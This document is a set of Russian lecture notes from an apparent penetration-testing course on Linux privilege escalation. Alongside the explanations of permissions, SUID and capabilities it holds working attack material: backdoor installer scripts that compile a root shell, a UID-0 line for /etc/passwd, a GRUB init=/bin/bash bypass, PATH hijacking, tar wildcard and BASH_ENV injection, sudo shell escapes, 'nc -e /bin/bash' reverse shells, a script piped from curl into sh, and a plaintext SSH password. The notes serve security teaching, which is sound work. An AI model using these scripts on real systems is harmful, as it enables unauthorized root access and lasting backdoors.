# Cross Platform Privileges Escalation
Доп конспект по лекциям
https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/HJRJib9W9
# Linux
# Занятие 1. Основы повышения привилегий в Linux
Повышение привилегий — это использование различных уязвимостей операционной системы и прикладного программного обеспечения для повышения своих полномочий в атакуемой системе.
При атаках на Linux-системы под повышением привилегий обычно подразумевается получение прав суперпользователя (root) при работе от обычного пользователя.

**Методы повышения привилегий**
• Использование физического доступа
• Использование ошибок администрирования
• Эксплуатациялогических и бинарных(повреждение в памяти)
уязвимостей привилегированных сервисов
• Атаки на ядро Linux

**Цели повышения привилегий**
Классификация по степени опасности от легкого к сложному и к повреждениям.
• Получение произвольного доступа ко всем хранящимся в системе данным
• Использованиевозможностейсистемы, недоступных для обычного пользователя
• Модификация работающего в системе программного обеспечения для сбора дополнительной информации
• Сокрытие следов активности от системного администратора
• Обеспечение условий для атаки на гипервизор

**Пользователи и группы**
Пользователь root – специальный аккаунт, имеет user id 0, может выполнять все операции без исключения.
Обычные пользователи (их UID начинается с 500 или 1000, в зависимости от дистрибутива) ограничены в правах и с настройками по умолчанию не могут нанести серьёзный вред целостности системы.
/etc/passwd – те кстовый файл, содержащий список учетных записей пользователя
В него можно добавить своего пользователя с отличным от root именем, но с тем же UID:
hacker:13310alp6DlVk:0:0:hacker:/root:/bin/bash
UserID:Password:UID:GID:UserInfo:HomeDir:Shell


**sudo -f - c применением силы**


sudo -i - переход на рута

chmod https://losst.ru/komanda-chmod-linux
права доступа к файлам https://losst.ru/prava-dostupa-k-fajlam-v-linux

удалили право на чтение
Добавили право на чтение

когда запускаем через bash, то скрипт работает, потому что **проверяются права bash!**
[](https://i.imgur.com/gfK25Ch.png)

ln - s /etc/passwd log.txt
**мягкие ссылки** (любой польз может создать), через ссылку - тот кто пишет в файле /etc/passwd - то будут его права.
Все обращения к log.txt будут направлятся к /etc/passwd
КНИГА АДминистрирование больших систем UNIX и LINUX руководство сис админа
https://www.ozon.ru/product/unix-i-linux-rukovodstvo-sistemnogo-administratora-nemet-evi-snayder-gart-174613742
**Как устроены пользователи и как происходит с ними работа**

Если есть возможность прописать /etc/passwd , через некоторые сервисы прописать строку выше, то можно будет войти в тачку под рутом, подключится по ssh. Bash игнорирует права доступа.
Если в etc/passwd если записан хэш пароля - мы можем залогинится по ссш. (предварительно захешировать пароль или расхешировать этот, что указан в файле)

less /etc/passwd
**Управление пользователями и группами**

adduser – добавление пользователя addgroup – добавление группы deluser – удаление пользователя delgroup – удаление группы usermod – изменение пользователя
id – печать реальных и эффективных uid/gid
who – список текущих пользователей
whoami – печать имени/id текущего пользователя
passwd – смена пароля пользователю (по умолчанию текущему)
sudo journalctl
!/bin/sh
**Защита от bash**
bin false https://unix.stackexchange.com/questions/10852/whats-the-difference-between-sbin-nologin-and-bin-false
/etc/shadow - хранятся хэши паролей

https://security-tracker.debian.org/tracker/source-package/linux
**Перебор хешей**
Далее определяем тип хэша и брутим
Хэши паролей из файла /etc/shadow можно попытаться подобрать с помощью таких
утилит как John the Ripper и hashcat.
Подготовка словарей:
• https://crackstation.net
• https://wiki.skullsecurity.org/Passwords
• https://github.com/danielmiessler/SecLists
**Определение типа хэша**:
• Вручную
• $ grep ^ENCRYPT_METHOD /etc/login.defs
• https://github.com/psypanda/hashID
#hashid
•https://www.onlinehashcrack.com/hash-identification.php
**Запуск утилит**:
#hashcat
$ ./hashcat-cli64.bin -m $HASH_TYPE -a 0 crack.hash dict.txt $ john --wordlist=dict.txt --rules shadow

#grub
## **GNU GRUB**
GRUB – наиболее популярный загрузчик системы.
Он обладает собственным интерфейсом, который может быть использован для изменения параметров загрузки

Доступ к меню грап означает доступ ко всей системе
при загрузке нажимаем С и переходим в командную оболочку
background_color black - смена фона граб

можем работать с любыми файлами без каких либо ограничений
ls -la (hd0,msdos1) - смотрим что в файловой системе
cat (hd0,msdos1)/etc/shadow - прочитали etc/shadow

имея доступ к грабу, то мы имеем возможность работы со всеми файлами , без пароля суперпользователя,через **grub shell**.
GRUB предоставляет консольный интерфейс, который может быть использован для установки произвольных параметров загрузки (например, для загрузки с Live USB). и просмотра файлов и директорий
**Примеры команд GRUB Shell**
>Включение пейджера (для просмотра длинного вывода):
>set pager=1
Список разделов дисков или файлов
>ls
Чтение файла
>сat (hd0,1)/etc/shadow
Установка раздела
>set root=(hd0,1)
Выбор файла с ядром и параметров ядра
>linux /boot/vmlinuz-3.13.0-29-generic root=/dev/sda1
Выбор файла с initrd
>initrd /boot/initrd.img-3.13.0-29-generic
Загрузка
>boot
**Сценарии получения доступа**
При отсутствии шифрования диска:
• Изменение параметров загрузки ядра и запуск шелла
системы в качестве init
• Изменение параметров загрузки ядра для входа в
оболочку initramfs(отдельный маленький линукс -самая лакомая цель (ее почти никогда не защищают при шифровании диска)
• Загрузка с портативного носителя с помощью оболочки
GRUB2
При использовании шифрования диска:
• Перехват пароля при вводе в initramfs (если раздел с initrd
и ядром не защищен)
• Перехват пароля от раздела с initrd и ядром с помощью
атаки на загрузчик GRUB

init - запускает процессы

**initramfs**

в последней строке Linux - мы в конце удаляем ro quiet splash и меняем на rw init=/bin/bash
Ядро линукс самым первым процессом запускает bin bash - в этом случае мы обходим все системы безопасности которые есть.
Как только мы открыли bash нам надо создать закладку или сменить пароль.
(желательно сделать бекап etc/shadow, чтобы вернуть обратно)
Вводим
/exec /sbin/init - продолжаем процесс загрузки
CVE-2015-8370
раньше была уязвимость граб - 28 раза нажать на кнопку backspace и обойти пароль на граб

623/UDP/TCP - IPMI
https://book.hacktricks.xyz/pentesting/623-udp-ipmi
**initramfs** сделать так чтобы в корневую файловую систему был замонтирован нужный диск.
Initramfs – файловая система в оперативной памяти, используется для загрузки необходимых драйверов и использования различных инструментов монтирования файловых систем перед передачей управления приложению init.

Используем Secure Boot в Linux на всю катушку / Хабр - защита от initramfs
https://habr.com/ru/post/308032/
**CVE-2016-4484**
В случае, если изменение конфигурации в GRUB невозможно из-за наличия пароля, можно попытаться использовать уязвимость в скрипте /scripts/local-top/cryptroot.
Суть уязвимости состоит в том, что ошибка при вводе пароля интерпретируется как сбой устройства, но не приводит к прекращению загрузки. Из-за этого скрипт вызывается заново в течение 30 раз, затем пользователь выбрасывается в busybox shell, как если бы произошла попытка загрузки с поврежденного диска.
Для осуществления атаки нужно просто зажать клавишу Enter на 70 секунд.

### **Защитные меры**
1)Установка пароля на BIOS/UEFI, выбор приоритета загрузки, использование механизмов SecureBoot
2)Использование шифрования диска
3)Установка пароля на GNU GRUB
- $ grub-mkpasswd-pbkdf2
- Добавить в файл /etc/grub.d/00_header следующий текст:
cat << EOF
set superusers="John"
password John grub.pbkdf2.sha512.10000.<...> EOF
- $ sudo update-grub

Атаки через периферийные устройства
Thunderclap:
• Периферийные устройства могут получать произвольный доступ к оперативной памяти
• Уязвимы многие устройства, имеющие интерфейс
Thunderbolt, в том числе большинство MacBook Сайт: http://thunderclap.io/

http://thunderclap.io/ - подключение к thunderolt - можно снять весь дамп памяти
**cold-boot attack** - изъятие оперативной памяти после перезагрузки

**SMMBaackdore атака**
https://github.com/Cr4sh/SmmBackdoor - оставляем бекдор в операционной системе bash
https://github.com/chipsec/chipsec **chipsec** фреймворк, который позволяет отслеживать подобные вещи при атаках. Снятие дампа и анализ
https://github.com/hummelchen/uefilog/blob/master/main.c - кейлоггер записывает нажатия клавиш в простейшем коде
(для расшифровки жесткого диска)
## Получение прав пользователя
**Вход в систему:**
• Удаленное подключение: ssh, telnet, VNC, RDP
• Локальный доступ: доступ к консоли, дисплейный менеджер
**Выполнение команд от имени другого пользователя:**
su – переключение пользователя в сеансе командной оболочки sudo – выполнение команды от имени суперпользователя или от имени другого пользователя
/etc/sudoers – конфигурационный файл для команды
sudo visudo – безопасное изменение конфигурационного файла
sudo –l – список разрешенных и запрещенных команд, которые можно выполнять через sudo.

-su switch user -смена пользователя

man sudoers - мануал по sudo (можем записывать права пользователя)
sudo visudo - получаем безопасный доступ к изменениям в файле


польз user без ввода пароля root может выполнять /usr/bin/uname

**/etc/sudoers**
/etc/sudoers – конфигурационный файл для команды sudo
User privilege specification
root ALL=(ALL:ALL) ALL
ubuntu ALL=(ALL:ALL) NOPASSWD: ALL
backup ALL=NOPASSWD: /bin/tar
Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL)ALL
## **Типы файлов**
Тип файлов может быть определен по выводу ls -l
• f или - – Обычный файл
• d – Директория
• p – Именованный канал
• l – Символьная ссылка
• b – блочное устройство
• с – cимвольное устройство (генератор случайных чисел)
• s – cокет
Создание именованного канала – mkfifo Создание файла устройства - mknod

замена пароля в- /etc/shadow

**Форматы прав доступа**

Права проверяются слева направо
Чтение, Запись, Выполнение.
Владелец - u, Группа - g, Другие -o
Владельца может поменять только рут через команду
сhown




chmod g=r-- myfile
chmod u+x myfile - исполнение для юзера
Более гибкое Установка и изменение прав доступа
https://www.opennet.ru/docs/RUS/posixacl/posixacls5.html
Управление правами доступа:
• chmod – изменение прав доступа
• umask – маска прав доступа (влияет на права новых
файлов)
• chown – изменение владельца, доступна для
суперпользователя
• chgrp – изменение группы владельца, пользователь может устанавливать их только те группы, в которые он входит

## **Специльные права доступа SUID**
SUID bit – позволяет выполнение программы с правами хозяина файла.
Это – ключевой механизм повышения прав в Unix-системах.
Особенности SUID-программ в стандартных конфигурациях Linux:
• Работают с полномочиями пользователя root
• Используются для выполнения безопасных привилегированных
операций, например, смены пароля или отправки ICMP-запросов
• Используются для штатной смены идентификаторов пользователя:
**su, sudo, pkexec**
• Требования к качеству кода этих программ довольно высокие, т.к.
ошибки в них могут привести к нарушению безопасности всей
системы
• Программы учитывают идентификатор запустившего их
пользователя и различные файлы конфигурации
Такой бит можно установить на копию /bin/sh для получения возможности выполнять команды с правами root без использования su/sudo.
При запуске шелла нужно использовать опцию –p, иначе effective uid будет сброшен.
- cp /bin/sh /bin/suid_sh
- chmod u+s /bin/suid_sh
- /bin/suid_sh –p
- id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
**Поиск SUID-файлов**:
$ sudo find / -path /sys -prune -o -path /proc -prune -o -user root –type f - perm -4000

SUID-бит позволяет от обычных пользователей запускать программы


**s- суидный бит, выделяется красным** в выводе команды, позволяет запускать программу от имени его владельца
SUID-бит работает только для бинарных исполняемых файлов, не для скриптов
показывает данные процесса ps

Поднимаем привилегии - надо запускать программу с суидным битом и рутом. Главная задача - заставить работать программу не так как задумал прогер.

**Поиск SUID файлов** #suid
sudo find / -path /sys -prune -o -path /proc -prune -o -user root –type f -perm -4000 2> /dev/null (убрать весь поток ошибок в /dev/null) - посмотреть все файлы которые могут быть нами использованы (можно без судо выполнить поиск)
**доп пример**

sudo chowh root: /tmp/ping - меняем владельца файла на рута
sudo chmod u+s /tmp/ping - добавляем суидный бит
## **Идентификаторы процессов**
Каждый процесс имеет следующие идентификаторы (ID) пользователя и группы:
• Реальный (real)
• Действующий (effective)
• Сохраненный (saved)
Привилегированные процессы имеют действующий идентификатор пользователя равный 0.
Правила изменения идентификаторов:
1. Непривилегированный процесс может установить любое значение из
его текущих ID в любой из данных идентификаторов.
2. Привилегированный процесс может менять идентификаторы
произвольно.

**реальный** - кто запустил
**действующий** - кто работал

Компиляция и запуск:
$ gcc uid.c –o uid; sudo chown 0:0 uid; sudo chmod +s uid; $ ./uid
-----
```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main ()
{
printf(
" UID GID \n"
"Real %d Real %d \n"
"Effective %d Effective %d \n",
getuid (), getgid (),
geteuid(), getegid()
);
return 0;
}
```
_____


собираем бинарник и запускаем

id -a
Меняем владельца на рута и добавляем суди бит

добавили суидный бит chmod u+s print_uid
Effective 0 -рут
real 1001 - нынешний пользователь
(каждый кто запускает эту программу - запускает с правами рута)

Запускаем программу, показываем свои привилегии, меняем идентификаторы
**setreuid** - установка реального и эффективного идентификатора
man setreuid


утилита меняет ваши права на рутовые, затем запускает шелл.

собираем файл, даем нужные права
(это можно использовать в качестве закладки с помощью такой логики)

Закрепились в системе - нужен **backdore**
**journalctl** открывается пейджер, для запуска команд. можно запустить командную оболочку

Уязвимость **Dirty Pipe** позволяет получить root-права почти во всех дистрибутивах Linux, позволяет перезаписывать данные в файлах доступных только для чтения
https://xakep.ru/2022/03/09/dirty-pipe/
эксплойт для внутренности ядра
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
sudo chown root: /tmp/ping (меняем владельца на рут)
sudo chmod u+s /tmp/ping - даем суидный бит
https://t.me/alisaesage - по поводу vm escape
https://alisa.sh/
https://github.com/xairy/vmware-exploitation
http://blog.paulch.ru/2020-07-26-hunting-for-bugs-in-virtualbox-first-take.html
исследования в основном рассказывают о конкретных багах, общий взгляд есть где-то тут https://alisa.sh/slides/HypervisorVulnerabilityResearch2020.pdf

# Занятие 2. Эксплуатация уязвимостей в конфигурации Linux
## **Сapabilities** Гранулирование прав
Процессы капабилитись позволяет дать права на какие то действия, не доступные обычному пользовател
**Capabilities** - это средства для управления привилегиями, которые в традиционных Unix-подобных системах были доступны только процессам, запущенным с правами root.
**Закрепление в системе**
Капабилити - очень сильно помогает при повышении привилегий.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
получить список капабилити getcap /bin/ping

type nc
getcap /usr/bin/nc - даем неткату капабилити
$ getcap /bin/ping
$ chmod u-s /bin/ping
$ setcap cap_net_raw+ep /bin/ping
CAP_CHOWN = возможность менять владельца файла
CAP_DAC_OVERRIDE - возможность игнорировать все ... доступа (read, write, execute)
CAP_NET_BIND_SERVICE - возможность слушапить привеоигированные порты
CAP_SETUID - возможность устанавливать процессу произвольный UID
СAP_SYS_PYRACE - возможность вести отладку любого процесса
getcap -r /usr/bin/ - найти бинариники обладающими капабилити
все капабилити - **man capabilities**


getcap -r /bin/ping
до 1024 порты являются привилигированные

найти файлы для суидного бэкдора, сменив владельца на рута
find / -path /sys -prune -o -path /proc -prune -o -user root -type f -perm -4000 2> /dev/null
Скрипт для установки **Capabilities-бэкдора**, запускать от root.
```
#!/bin/bash
SRC=$(mktemp -t XXXXXXX.c)
cat << EOF > "$SRC"
#include <unistd.h>
int main()
{
setreuid(0,0);
execve("/bin/sh",0,0); }
EOF
gcc "$SRC" -o /tmp/backdoor
setcap cap_setuid+ep /tmp/backdoor rm "$SRC"
```
sudo setcap cap_setuid+ep /tmp/backdoor


запуск компилятором gcc

меняем id
**Скрипт для установки бэкдор СAPABILITIES**
---

добавляем в баш
созд
```
#!/bin/bash
SRC=$(mktemp -t XXXXXXX.c) #cоздаем шаблон временного файла на языке С
cat << EOF > "$SRC"
#include <unistd.h> #добавляем код
int main()
{
setreuid(0,0);
execve("/bin/sh",0,0);
}
EOF
gcc "$SRC" -o /tmp/backdoor # сборка с компилятором
setcap cap_setuid+ep /tmp/backdoor #указываем - положить в бэкдор
rm "$SRC" #удаляем временный файл
```
sudo setcap cap_setuid+ep /tmp/backdoor - устанавливает капабилити
/tmp/backdoor - запускаем бинарник - свои привилегии повышаем (обходной путь для закрепления привелегий, только с помощью getcap можно найти эти файлы и обработать)
https://ru.wikipedia.org/wiki/Heredoc-синтаксис
## **СПЕЦИАЛЬНЫЕ атрибуты Файлов и каталогов**
Файловые системы ext2, ext3 и ext4 имеют специальные атрибуты для файлов и каталогов
• lsattr – получение специальных атрибутов файла
• chattr – изменение специальных атрибутов
Наиболее интересные атрибуты:
• a - файл может быть открыт только в режиме дозаписи
• I - файл защищен от изменений
• u - при удалении файла его содержимое должно быть
сохранено с возможностью дальнейшего
восстановления
• s - защищенное удаление файла, перед удалением все
содержимое файла полностью затирается "00"


lsattr file - получение специальных атрибутов файла
chattr [+-][ia] file - изменение спец атрибутов

атрибуты
a - можно только записать какие то данные, но нельзя удалить или переместить
I - защитить файл от ищменений
/ блокировку на иззменение

/sys/firmware/efi/efivars(информация о прошивке файлов материнской платы) - файлы защищенные от изменения
**efivarfs** - a (U)EFI variable filesystem -различные данные которые используются с efi интерфейсом, может быть полезно в нашей работе
/sys/firmware/efi/efivars
https://www.kernel.org/doc/html/latest/filesystems/efivarfs.html
https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface
dpkg -S /bin/ping

можем понять к какому процессу принадлежит
## **Дополнительные материалы:**
Руководство по GRUB: https://wiki.archlinux.org/index.php/GRUB
Средство аудита прошивки UEFI: https://github.com/chipsec/chipsec
Настройка SecureBoot в Linux: https://habr.com/ru/post/308032/
Уязвимость GRUB: http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
Уязвимость initrd: http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html
Идентификаторы пользователей: https://intelligea.wordpress.com/2014/02/11/effective-user-id-and-group-id-vs-real-user-id-and-group-id/
Руководство по hashcat: https://hashcat.net/wiki/
Мануал по capabilities: https://man7.org/linux/man-pages/man7/capabilities.7.html
Мануал по chattr: https://linux.die.net/man/1/chattr
# Удаленный доступ к системе

Архитектура процессора, тип и версия ОС
Тип шелла:
-Web-shell
-Bind/reverse shell
-Non-interactive dhell
-Shh (наиболее удобный, но менее реалистичен)
Права пользователя
Правила сетевого экрана:
-входящее соединения
-Исходящие соединения
-DPI - deep packet inspection
Наличие и версия контейнеризации и виртуализации
Наличие защитных решений: антивирусы, модули безопасности, IDS/IPS
web shell - загружаем кусок кода, мы отправили запрос - получили ответ
bind/reverse shell - подключение к удаленной машине либо к нам
metasploit - payload meterpretter, payload shell работает по этому принципу
*Запускаем машину Basic exploatation*
на кали
nc -e /bin/bash 192.168.50.98 1234 - подключается к этому адресу и порту и предоставляет командную оболочку
**reverse shell**


Удаленная машина reverse shell (удаленная машина инициирует соединение):
host: nc -lvp 1234 (порт 1234)
vm: nc -e /bin/bash 192.168.50.98 1234
Наша машина bind shell: подключились к атакуемой машине
nc -e /bin/bash -lp 1234 (открываем порт и подключ извне к этому порту)
nc localhost 1234

Подключаемся к машине по ссш
ssh -p 2222 user@localhost
Qwerty123

ssh -p 22 user@192.168.10.228 ВБ подключение через мост
ssh -oHostKeyAlgorithms=+ssh-dss
ssh -oHostKeyAlgorithms=+ssh-dss user@192.168.106.135
При попадании на машину - определяем направление атаки, определяем дистрибутив и версию
## **Сбор инфы**
Дистрибутив и версия системы: • /etc/issue
• /etc/*-release Ядро ОС:
• uname –a
• ls –la /boot/ Пользователи и их файлы:
• /etc/passwd
• ls –la /home
• .bash_history
• .nano_history
• .mysql_history
• .ssh
• Бэкапы
Сетевое окружение • ip neigh
• ss -tln
• netstat -tnlp Задачи cron:
• /etc/crontab
• /etc/cron.* Работа с sudo:
• sudo -l SUID-файлы:
•
find / -user root -perm - 4000 -exec ls -ldb {} \; >/tmp/suid

**!! Дата, принадлежность пакету, версия** при этих факторах сможем сказать уязвимость пофикшена или нет.
cat /etc/issue - версия дистрибутива
Дата, версия ядра
Нам важна дата сбора компиляции - если на этот момент была известна уязвимость, то она тут есть

dpkg -S /boot/vmlinuz-2.6.32-5-amd64 видим что ядро из пакета
ls -la /boot/ - смотрим дату обновления ядра

**Дата, Принадлежность пакета и версия**
Эксплойты ядра - dirtycow
**Далее пользователи и их файлы:**

https://book.hacktricks.xyz/linux-unix/privilege-escalation
## Автоматизация сбора информации
Для ускорения сбора информации о системе можно использовать следующие проекты (скрипты для пентестеров которые ищут мисконфиги - ошибки админа):
• https://github.com/diego-treitos/linux-smart-enumeration
•https://github.com/rebootuser/LinEnum
• https://github.com/luke-goddard/enumy
• https://github.com/mostaphabahadou/postenum
**Скрипты для автоматизации поиска информации (изъяны ПО)**
#tools
Lynis – мощная и хорошо поддерживаемая утилита, предназначена скорее для системных администраторов, но может выдать и интересную атакующему информацию. (список действий - чтобы ваша система была более защищена) https://cisofy.com/lynis/
• Linux exploit suggester – более удобная для пентеста утилита, находит эксплойты под потенциально уязвимые сервисы и позволяет их скачать. Применяемые ей эвристики довольно примитивны и часто выдают ложноположительные срабатывания.
Версия на Bash: https://github.com/mzet-/linux-exploit-suggester Версия на Perl: https://github.com/jondonas/linux-exploit-
suggester-2
• Inspector – упрощенная версия Linux exploit suggester, написана на
языке Python. https://github.com/graniet/Inspector
• local_exploit_suggester – модуль для Metasploit
msf > use post/multi/recon/local_exploit_suggester
1 **Lynis** Linux smart enumeration скрипты для пентестеров-Сtf - которые ищут мисконфигурации - ищем ошибки администраторов
2 Автоматический поиск уязвимостей изъянов ПО - на основе их делается LenEnum

**linpeas** - показывает где мы можем повысить привилегии
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
чаще всего используют linpeas

Заливаем на машину
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
wget -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
если выше способ не получился, то скачиваем сначала себе на тачку, потом на целевую машину
scp -P 2222 linpeas.sh user@localhost:linpeas.sh - передача файла по scp
/
scp -oHostKeyAlgorithms=+ssh-dss linpeas.sh user@192.168.43.10:linpeas.sh
**WinScp**
https://winscp.net/eng/download.php
ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.0.16" - это если надо обновить кешированный ключ. Если компы под одним ip
bash linpeas.sh | tee log.txt - записывает вывод в log.txt

собираем информацию
crontab.guru - расшифровка времени запуска cron

Нашли файлы с помощью которых можем повысить привилегии, которые имеют право на sudo

https://blog.jetbrains.com/pycharm/2013/06/vim-as-a-python-ide-or-python-ide-as-vim/
**sudo -l** - показывает какие программы отработают без пароля на рута
sudo less /etc/passwd(любой файл)
дописываем !/bin/bash
программа vim имеет право на sudo
sudo vim > редактируем passwd
sudo vim скрипт баш
:!sh или !/bin/sh (прописываем)
user@debian:~$ sudo /bin/less /etc/passwd
root@debian:/home/user#
less
ftp
пишем : !bin/bash и заходим в рута

**! Найти функциональность проблемы, которая позволит нам запустить shell**
## Методология повышения привилегий в линукс https://book.hacktricks.xyz/linux-unix/privilege-escalation
**nmap script напишем**

user@debian:~$ cat shell.ns
os.execute('/bin/sh')
sudo nmap --script shell.ns
nmap скрипты все пишутся на lo
! https://gtfobins.github.io **список скриптов для программ для повышения привилегий**
## **ОШибки администрирования**
Эксплуатация уязвимостей скриптов для планировщика задач Cron:
• Изменение скриптов, доступных на запись
• Добавление исполняемых файлов в директории из PATH
• Использование некорректных wildcard-последовательностей для внедрения кода в команду через имена файлов
Утилита sudo и /etc/sudoers:
• Использование функциональности программы не по назначению
Разрешенные для пользователя программы могут иметь функциональность, которая позволяет осуществлять чтение и запись в файлы, выполнение внешних программ и т.п.
Получение конфиденциальных данных:
• Анализ истории shell-команд
• Поиск доступных на чтение бэкапов
• Поиск конфигурационных файлов с паролями

**Сron**
Cron – это классический Unix-daemon, использующийся для периодического выполнения заданий в определенное время.
Особенности:
• Задания хранятся в специальных файлах в определенном формате.
• Поддерживается возможность запуска заданий от имени разных
пользователей
• Системные задания кладутся в /etc/crontab (может читать кто угодно)
• Задания пользователей – в /var/spool/cron/crontabs (могут читать только пользователи)

cat /etc/crontab
https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
https://crontab.guru
#tools
**pspy** - просмотр запусков процесса без прав суперпользователя
https://github.com/DominicBreuker/pspy

мы видим аргументы команд, запускаемые команды
## **переменная PATH**
$PATH – переменная среды, указывающая список директорий, в которых последовательно производится поиск исполняемых файлов.


переменная окружения PATH через : будет вести поиск слева направо

повышаем привилегии
```
user@debian:/tmp$ cat > payload.sh
#!/bin/bash
SRC=$(mktemp -t XXXXXXX.c)
cat << EOF > $SRC
#include <unistd.h>
int main()
{
setreuid(geteuid(),geteuid());
execve("/bin/sh",0,0);
}
EOF
gcc $SRC -o /bin/backdoor
chmod u+s /bin/backdoor
user@debian:/tmp$ chmod +x payload.sh
```


добавляем путь к скрипту в файле overwrite.sh (который прописан в path)
user@debian:/tmp$ cat /usr/local/bin/overwrite.sh
#!/bin/bash
echo `date` > /tmp/useless
/tmp/payload.sh
1 метод эсплуатации - мы увидели в cron что один из скриптов запускается рутом, мы записали полезную нагрузку в скрипт overwrite.sh и запустили скрипт на cron

https://www.ozon.ru/product/linux-api-ischerpyvayushchee-rukovodstvo-144031922/
**Атаки на cron: PATH и перезапись файла**
При написании заданий может использоваться небезопасное значение переменной PATH или небезопасные права для выполняемых файлов. При наличии права на запись у атакующего возможно выполнение произвольного кода.
**Атаки на cron: wildcard**
• Bash поддерживает использование метасимволов для работы с путями файлов
• Символ * заменяется на отсортированный в алфавитном порядке список файлов в соответствующей директории.
• Это позволяет использовать файлы со определенными именами для инжектирования опций в команду, что может привести к выполнению произвольного кода.
**Атаки на sudo**
• Системные администраторы используют sudo для того, чтобы определенные пользователи могли выполнять операции, требующие root- прав, при этом набор команд может быть ограничен.
• Многие команды в Linux-системах имеют возможность выполнить произвольный код, и это часто не учитывается администраторами.
• Атакующие могут использовать эту возможность для получения прав суперпользователя.
Примеры: https://gtfobins.github.io/
# Занятие 3. Эксплуатация уязвимостей в привилегированных системных сервисах
## **Простейшие логические уязвимости**
В случае, если в системе есть бинарные файлы с SUID-правами, которые были добавлены не из репозиториев, а реализованы администратором самостоятельно или взяты из проекта с плохим качеством кода, то они могут быть подвержены простейшим логическим уязвимостям.
Наиболее популярными уязвимостями являются:
1) Отсутствие проверки переменной PATH
2) Передача небезопасных переменных окружения запускаемым
процессам
3) Инъекция команд
4) Обращение к файлам, которые могут быть подменены, в том числе
из-за состояния гонки (TOCTOU)


https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
ip_unprivileged_port_start


Относительный путь у PATH

```
#!/bin/bash
SRC=$(mktemp -t XXXXXXX.c)
cat << EOF > $SRC
#include <unistd.h>
int main()
{
setreuid(geteuid(),geteuid());
execve("/bin/sh",0,0);
}
EOF
gcc $SRC -o /bin/backdoor
chmod u+s /bin/backdoor
```
cat /etc/profile

для каждого процесса есть переменная окружения

могут произвольно меняться при процессе работы программы и выключении(запускается другой процесс и переменная может изменитья)
**Область памяти где вся переменная хранится**
пишем на языке С


#find
Найти папки в которых может пользователь
писать
find / -xdev -type d -writable 2> /dev/null

Критические уязвимости программы SUDO
env

! Фильтра переменных окружения по умолчанию нет - это дыра в безопасности
делаем backdoor2






надо найти опцию которая позволит tar выполнить скрипт (* заменят на опции, а опции уже выполнят команду)



ищем опцию, которая нам чтото выдаст (фильтруем execute)
https://www.gnu.org/software/tar/manual/
--checkpoint-action=action
--checkpoint=1 --checkpoint-action=cron.sh

запускаем скрипт в /home/user
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz * (нашли возможность записать вместо звездочки и выполнить команду)
. 2) RCE эксплойт
--checkpoint=1 --checkpoint-action=exec=payload.sh(файл который находится в директории /home/user)
https://www.gnu.org/software/tar/manual/tar.html#external




echo > --checkpoint=1
touch -- --checkpoint=1
touch ./--checkpoint=1
cat /usr/local/bin/compress.sh




Главная проблемма - смешивание аргументов и опций
Если нашли wildcard(), если мы видим *(файлы которые находятся в директории) мы можем подставить опции, которые заставят програму выполнить код

**Действия**:
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=payload.sh
nano /home/user/payload.sh <- code
чек лист по эскалации привилегий https://book.hacktricks.xyz/linux-unix/privilege-escalation
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
мшь
если мы запускаем шелл, то он сбрасывает права. Нам надо ЕГо обмануть.
Мы можем запустить от рута любую программу,
Если мы запускаем шелл то он сбрасывает права, для этого нам нужна своя программа которая изменяет права перед запуском шелла.
cp /bin/sh /tmp/uname
nano exploit.sh
```
#!/bin/bash
SRC=$(mktemp -t XXXXXXX.c)
cat << EOF > $SRC
#include <unistd.h>
int main()
{
setreuid(geteuid(),geteuid());
execve("/bin/sh",0,0);
}
EOF
gcc $SRC -o /tmp/uname
PATH=/tmp:$PATH /usr/local/bin/insecure_path #заставляем уязвимую прогу запустить нагрузку
```
bash exploit.sh

## Передача небезопасных переменных
При вызове функции system(arg) происходит выполнение команды
$ /bin/sh –c “arg”
Переменные окружения текущего процесса наследуются дочерними процессом, что может привести к выполнению произвольного кода. Например, если программа запускает bash-скрипт, вне зависимости от его содержания, можно выполнить любые команды следующим образом:
$ BASH_ENV=/exploit/script.sh /usr/local/bin/wrapper




Бинарник wrapper
https://css-live.ru/articles/luchshij-sposob-realizovat-obyortki-v-css.html
BASH_ENV - позволяет запустить шелл скрипт при запуске

BASH_ENV=/tmp/script.sh /usr/local/bin/wrapper
Суидная программа запускает баш от имени суперпользователя ,а
bash - подвержен влиянию переменных окружения, передавая значению BASH_ENV можем заставить запускать дургие скрипты

суидная программаа запускает другую программу, мы можем подавать переменные окружение этой программе
передали переменную BASH_ENV=/tmp/script.sh
Баш при запуске проверяет переменную окружения на наличие данной перемены. Через переменную окружения мы можем запустить

при запуске wrapper мы запускаем bash 
wrapper - лежит на целевой машине
в бинарнике есть уязвимость.
Суидная программа запускает bash скрипт и через переменную окружения выполняет скрипт


#!/bin/bash
bash
BASH_ENV=/tmp/script.sh /usr/local/bin/wrapper
пропишем в файле скрипта другую команду
#!/bin/bash -p
/tmp/backdoor


Уязвтмость Exim(агент передачи почты) в конфигурации perl (есть поддержка языка perl)
проверка - есть ли поддержка perl
exim -bV -v | grep -i Perl
https://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.html

/etc/exim.conf
1. Чтобы понять работает ли компонент Perl - надо посмотреть есть ли он в конфе
2. проверяем на суидный бит

/usr/sbin/exim-4.84-3 - версия подходит (проверили)
suid exim запускает переменную **Perl**
Perl - нужен для фильтрации от нежелательных писем
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html


открывает отладочный режим чере -d


Включили отладочный режим через переменную окружения PERL5ORT
Cначала читаем как это работает, собираем информацию и анализировать а стоит ли использовать эксплойт.
